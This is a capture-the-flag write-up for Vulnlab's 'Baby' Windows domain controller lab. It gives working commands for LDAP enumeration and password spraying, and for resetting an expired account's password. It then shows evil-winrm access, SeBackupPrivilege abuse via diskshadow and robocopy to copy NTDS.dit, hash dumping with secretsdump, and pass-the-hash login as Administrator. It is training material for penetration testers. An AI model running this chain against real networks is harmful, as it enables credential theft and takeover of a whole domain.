Vulnlab Baby (Easy) Machine – WriteUp

Introduction

Hello Everyone ! This is an writeup of Vulnlab's Baby (easy) machine. For Initial access, LDAP is enumerated to identify users and initial setup password from the AD user object's description. One of the user's logon status was found to be STATUS_PASSWORD_MUST_CHANGE and the password is successfully reset. With the valid credentials, we got the initial shell using evil-winrm.

For Privilege Escalation, SeBackupPrivilege is abused to obtain the shadow copy of NTDS.dit and SYSTEM. With that, Domain users' hashes are dumped and used to become a domain administrator.

Enumeration

NMAP Scan

sudo rustscan --ulimit 5000 -b 500 -a 10.10.83.11 -- -sC -sV -Pn | tee baby.nmap
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
---- SNIP ----

PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2024-04-20 09:18:24Z)
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: baby.vl0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  kpasswd5?     syn-ack ttl 127
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped    syn-ack ttl 127
3389/tcp  open  ms-wbt-server syn-ack ttl 127 Microsoft Terminal Services
| ssl-cert: Subject: commonName=BabyDC.baby.vl
| Issuer: commonName=BabyDC.baby.vl

---- SNIP ----

| rdp-ntlm-info: 
|   Target_Name: BABY
|   NetBIOS_Domain_Name: **BABY**
|   NetBIOS_Computer_Name: BABYDC
|   DNS_Domain_Name: **baby.vl**
|   DNS_Computer_Name: **BabyDC.baby.vl**
|   DNS_Tree_Name: baby.vl
|   Product_Version: 10.0.20348
|_  System_Time: 2024-04-20T09:19:15+00:00
|_ssl-date: 2024-04-20T09:19:56+00:00; -3s from scanner time.
5357/tcp  open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Service Unavailable
5985/tcp  open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        syn-ack ttl 127 .NET Message Framing
49664/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49668/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49674/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49675/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
52557/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: BABYDC; OS: Windows; CPE: cpe:/o:microsoft:windows

---- SNIP ----

Information from NMAP scan

  • Open DNS, SMB, Kerberos & LDAP ports shows that we are dealing with mostly an AD domain controller
  • DNS Computer name confirms that - BabyDC.baby.vl
  • We have open RDP and WinRM ports as well, which we can use it later when we get a valid username, password/NTLM hash
  • Lets add the IP and host name to the /etc/hosts file

Service Enumeration

SMB

  • First step is to test for anonymous login. There are many tools that can be used to test this. E.g.: smbclient, smbmap, netexec (formerly crackmapexec) etc.
  • I'm using netexec to test the same
nxc smb 10.10.83.11 -u '' -p '' --shares 

nxc smb 10.10.83.11 -u 'no_such_user' -p '' --shares 

  • Anonymous login is not successful and no shares are listed
  • If the anonymous login is successful and there are some readable shares listed, Then the next step is to run enum4linux against the target as it can help to obtain some additional information like users, groups, password policy etc.
  • Unfortunately we cannot do anything further here. Let's move on to LDAP

LDAP

  • First test on LDAP is to check if anonymous bind is allowed, so that we can enumerate users, groups, computers & other AD objects.
nxc ldap BABYDC.baby.vl -u '' -p '' --users | tee tempusers

  • User details are obtained. Deleted the unwanted details from the saved file and we have in total 11 users

  • Above details are just the names not the actual usernames. We'll use impacket's getADUsers.py script to get the user names.
GetADUsers.py -all baby.vl/ -dc-ip 10.10.83.11                                                                          

  • we could see that there are only 8 users listed here , but we have got 11 users when we enumerated through netexec.
  • Nevertheless we know the format of the usernames here - [firstname].[lastname]
  • Let's add the missing usernames Ian.Walker,Caroline.Robinson & Administrator and create a list
  • net exec's ldap has several modules that we can use to enumerate the domain objects further with anonymous login

  • First few modules on the list are not interesting at the moment as we are looking for hints about credentials.
  • Right now, Potential entry points can be obtained from the description of the user objects, AS-REP roastable users, where we can get the hash and crack it offline to get a valid credentials or password bruteforce with the users list available
  • We'll start with enumerating the user's description
nxc ldap BabyDC.baby.vl -u '' -p '' -d baby.vl -M get-desc-users                                                        

  • we got information about the initial password of Teresa.Bell present in the description
  • Upon testing, it happens to be an invalid credential.

  • Lets spray the password on all the users.

  • Still no valid credentials, but the user Caroline.Robinson 's logon status is STATUS_PASSWORD_MUST_CHANGE.
  • The account is marked to indicate that the password must be changed on the next logon
  • It's possible that the password found in the description is the old password

Foothold

Changing Caroline's password

smbpasswd -U baby.vl/Caroline.Robinson -r 10.10.83.11

  • Password changed to Password1!
  • We'll first verify if the password is successfully changed and it is a success

  • Now we have an valid credential, next step is to check the services that Caroline.Robinson has access to, so that we can get a shell
  • Always check ssh, rdp, wmi, winrm, mssql services for all the valid credentials obtained as per the open ports
  • Here we have only rdp, winrm, wmi ports open, so lets test one by one
  • No luck with RDP & WMI, but the user has privileges to use winrm. It can be confirmed by the Pwn3d! keyword against the username

Initial shell access via Evil-WinRm

evil-winrm -i 10.10.83.11 -u 'Caroline.Robinson' -p 'Password1!

  • Next step is to do privilege escalation to get Administrator access on the machine
  • Quick wins are first to enumerate the user groups & privileges the user has

  • Backup Operators group & SeBackupPrivilege draws the attention
  • SeBackupPrivilege can be abused to get a copy of NTDS.dit and SYSTEM file which can used to dump the NTLM hashes from DC

Privilege Escalation

  • There are various methods present that can be used to abuse SeBackupPrivilege. I'll be using diskshadow method described on https://juggernaut-sec.com/sebackupprivilege/ to obtain the shadow copy of NTDS.dit and SYSTEM files
  • diskshadow.exe is an interactive command but we currently have a non-interactive session using evil-winrm. we have to craft a txt file that can be used with diskshadow.exe. This will allow us to execute required commands to create shadow copy
echo "set context persistent nowriters" | out-file ./diskshadow.txt -encoding ascii 
echo "add volume c: alias temp" | out-file ./diskshadow.txt -encoding ascii -append 
echo "create" | out-file ./diskshadow.txt -encoding ascii -append 
echo "expose %temp% z:" | out-file ./diskshadow.txt -encoding ascii -append

  • Create a temp folder on C:/ and run below command to create shadow copy
diskshadow.exe /s C:\Users\Caroline.Robinson\Documents\diskshadow.txt

  • Lets copy the SYSTEM and NTDS.dit file using robocopy

Note: Since we are in DC, we are targeting NTDS.dit file. For Standalone machines, SAM must be targeted. The SAM file contains local user hashes, whereas the NTDS.dit file contains all of the domain user hashes

robocopy /b Z:\Windows\system32\Config C:\temp  SYSTEM

robocopy /b Z:\Windows\NTDS\ C:\temp  ntds.dit

  • Download it to Kali machine and we can dump the hashes using impacket's secretsdump.py
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

  • Use the Administrator's (Domain Admin) NTLM hash to login to the machine
evil-winrm -i 10.10.90.138 -u 'Administrator' -H 'redacted'

Conclusion

Finally we pwned the baby machine from Vulnlab. Key take away's from this machine personally are

  • Attention to the minor details during enumeration
  • Difference in abusing SeBackupPrivilege between a domain joined and a standalone machine

I know, this is an long post for an easy machine. Tried to add extensive details and screenshots to help the beginners doing their first few boxes. Thank you for sticking till last. Cheers !

References

https://juggernaut-sec.com/sebackupprivilege/
https://learn.microsoft.com/en-us/windows/win32/api/subauth/nf-subauth-msv1_0subauthenticationroutineex
https://book.hacktricks.xyz/network-services-pentesting/pentesting-ldap#ldap-anonymous-binds
https://www.n00py.io/2021/09/resetting-expired-passwords-remotely/